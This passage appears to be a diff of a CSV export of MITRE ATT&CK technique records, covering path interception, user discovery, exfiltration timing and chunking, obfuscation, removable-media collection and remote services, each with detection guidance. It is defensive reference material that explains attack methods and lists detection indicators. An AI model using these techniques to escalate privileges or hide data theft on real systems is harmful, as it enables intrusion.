""[U+202E]"", and ""%E2%80%AE”.",,,,,False,,,,"['Linux', 'macOS', 'Windows', 'Containers']",,,,1.4 -2017-05-31 21:30:36.140000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).** - -Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019) - -There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. - -### Unquoted Paths -Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. ""C:\safe path with space\program.exe""). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018) - -### PATH Environment Variable Misconfiguration -The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line. - -For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system ""net"" when ""net"" is executed from the command-line. - -### Search Order Hijacking -Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. - -For example, ""example.exe"" runs ""cmd.exe"" with the command-line argument net user. An adversary may place a program called ""net.exe"" within the same directory as example.exe, ""net.exe"" will be run instead of the Windows system utility net. In addition, if an adversary places a program called ""net.com"" in the same directory as ""net.exe"", then cmd.exe /C net user will execute ""net.com"" instead of ""net.exe"" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property) - -Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1034', external_id='T1034'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/159.html', external_id='CAPEC-159'), ExternalReference(source_name='TechNet MS14-019', description='Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking via .cmd or .bat file. Retrieved July 25, 2016.', url='https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/'), ExternalReference(source_name='Microsoft Subkey', description='Microsoft. (n.d.). CurrentControlSet\\Services Subkey Entries. Retrieved November 30, 2014.', url='http://support.microsoft.com/KB/103000'), ExternalReference(source_name='Baggett 2012', description='Baggett, M. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved December 4, 2014.', url='https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464'), ExternalReference(source_name='SecurityBoulevard Unquoted Services APR 2018', description='HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted Services. Retrieved August 10, 2018.', url='https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/'), ExternalReference(source_name='SploitSpren Windows Priv Jan 2018', description='McFarland, R. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.', url='https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/'), ExternalReference(source_name='Microsoft CreateProcess', description='Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.', url='http://msdn.microsoft.com/en-us/library/ms682425'), ExternalReference(source_name='Hill NT Shell', description='Hill, T. (n.d.). Windows NT Command Shell. Retrieved December 5, 2014.', url='http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120'), ExternalReference(source_name='Microsoft WinExec', description='Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.', url='http://msdn.microsoft.com/en-us/library/ms687393'), ExternalReference(source_name='MSDN Environment Property', description='Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.', url='https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx')]",attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2020-07-06 18:49:35.645000+00:00,Path Interception,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Stefan Kanthak'],,,True,,,"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as ""findstr,"" ""net,"" and ""python""). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. +Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters""\u202E"", ""[U+202E]"", and ""%E2%80%AE”.",False,,"['Linux', 'macOS', 'Windows', 'Containers']",1.4,,,,,,, +attack-pattern,attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:35.733Z,2021-08-12T13:34:34.153Z,System Owner/User Discovery,"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. -Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,"['User', 'Administrator', 'SYSTEM']",,False,,,"['User', 'Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2017-05-31 21:30:35.733000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. +Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1033', 'external_id': 'T1033'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/577.html', 'external_id': 'CAPEC-577'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. -Utilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1033', external_id='T1033'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/577.html', external_id='CAPEC-577')]",attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2020-03-15 01:03:47.866000+00:00,System Owner/User Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. +Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",False,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",1.3,,,,,,, +attack-pattern,attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:34.523Z,2020-07-14T19:47:46.912Z,Data Transfer Size Limits,An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.,"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1030', 'external_id': 'T1030'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",1.0,,,True,,,, +attack-pattern,attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:34.139Z,2020-03-28T00:26:48.769Z,Scheduled Transfer,"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. -Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",,,,,False,,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,1.2 -2017-05-31 21:30:34.523000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.,"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1030', external_id='T1030'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-07-14 19:47:46.912000+00:00,Data Transfer Size Limits,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:30:34.139000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. - -When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1029', external_id='T1029')]",attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:26:48.769000+00:00,Scheduled Transfer,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,,,,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.,,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:30:32.662000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. +When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) or [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1029', 'external_id': 'T1029'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']",,Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.,False,,"['Linux', 'macOS', 'Windows']",1.1,,,True,,,, +attack-pattern,attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:32.662Z,2021-10-20T16:33:13.472Z,Obfuscated Files or Information,"Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016) -Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1027', external_id='T1027'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/267.html', external_id='CAPEC-267'), ExternalReference(source_name='Volexity PowerDuke November 2016', description='Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', url='https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/'), ExternalReference(source_name='Linux/Cdorked.A We Live Security Analysis', description='Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.', url='https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/'), ExternalReference(source_name='Carbon Black Obfuscation Sept 2016', description='Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', url='https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'), ExternalReference(source_name='FireEye Obfuscation June 2017', description='Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.', url='https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html'), ExternalReference(source_name='FireEye Revoke-Obfuscation July 2017', description='Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.', url='https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf'), ExternalReference(source_name='PaloAlto EncodedCommand March 2017', description='White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.', url='https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/'), ExternalReference(source_name='GitHub Revoke-Obfuscation', description='Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.', url='https://github.com/danielbohannon/Revoke-Obfuscation'), ExternalReference(source_name='GitHub Office-Crackros Aug 2016', description='Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.', url='https://github.com/itsreallynick/office-crackros')]",attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:19:18.594000+00:00,Obfuscated Files or Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Red Canary', 'Christiaan Beek, @ChristiaanBeek']","['File: File Content', 'File: File Metadata', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Command: Command Execution']","['Host forensic analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'Application control', 'Log analysis', 'Application control by file name or path']",,,,"Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). +Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1027', 'external_id': 'T1027'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/267.html', 'external_id': 'CAPEC-267'}, {'source_name': 'Volexity PowerDuke November 2016', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/'}, {'source_name': 'Linux/Cdorked.A We Live Security Analysis', 'description': 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.', 'url': 'https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/'}, {'source_name': 'Carbon Black Obfuscation Sept 2016', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'}, {'source_name': 'FireEye Obfuscation June 2017', 'description': 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html'}, {'source_name': 'FireEye Revoke-Obfuscation July 2017', 'description': 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation: PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf'}, {'source_name': 'PaloAlto EncodedCommand March 2017', 'description': 'White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand PowerShell Attacks. Retrieved February 12, 2018.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/'}, {'source_name': 'GitHub Revoke-Obfuscation', 'description': 'Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February 12, 2018.', 'url': 'https://github.com/danielbohannon/Revoke-Obfuscation'}, {'source_name': 'GitHub Office-Crackros Aug 2016', 'description': 'Carr, N. (2016, August 14). OfficeCrackros. Retrieved February 12, 2018.', 'url': 'https://github.com/itsreallynick/office-crackros'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Red Canary', 'Christiaan Beek, @ChristiaanBeek']","['Command: Command Execution', 'File: File Metadata', 'File: File Creation', 'Process: Process Creation']","['Host forensic analysis', 'Signature-based detection', 'Host intrusion prevention systems', 'Application control', 'Log analysis', 'Application control by file name or path']","Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''""'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection. -The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.1 -2017-05-31 21:30:32.259000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated and should no longer be used.** +The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network. ",False,,"['Linux', 'macOS', 'Windows']",1.2,,,,,,, +attack-pattern,attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:31.584Z,2021-10-15T22:17:35.218Z,Data from Removable Media,"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. + +Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1025', 'external_id': 'T1025'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['William Cain'],"['File: File Access', 'Command: Command Execution']",,Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,False,,"['Linux', 'macOS', 'Windows']",1.2,,['Privileges to access removable media drive and files'],,,,, +attack-pattern,attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:29.858Z,2021-10-15T14:15:07.272Z,Remote Services,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. -Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1026', external_id='T1026'), ExternalReference(source_name='University of Birmingham C2', description='Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', url='https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf')]",attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-03-30 13:59:11.272000+00:00,Multiband Communication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.",,,,,False,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2017-05-31 21:30:31.584000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. +In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) -Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1025', external_id='T1025')]",attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-03-24 15:44:46.584000+00:00,Data from Removable Media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Access', 'Command: Command Execution']",,,,,Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).,,,,,False,,,,"['Linux', 'macOS', 'Windows']",,['Privileges to access removable media drive and files'],,1.1 -2017-05-31 21:30:29.858000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. +Legitimate applications (such as [Software Deployment 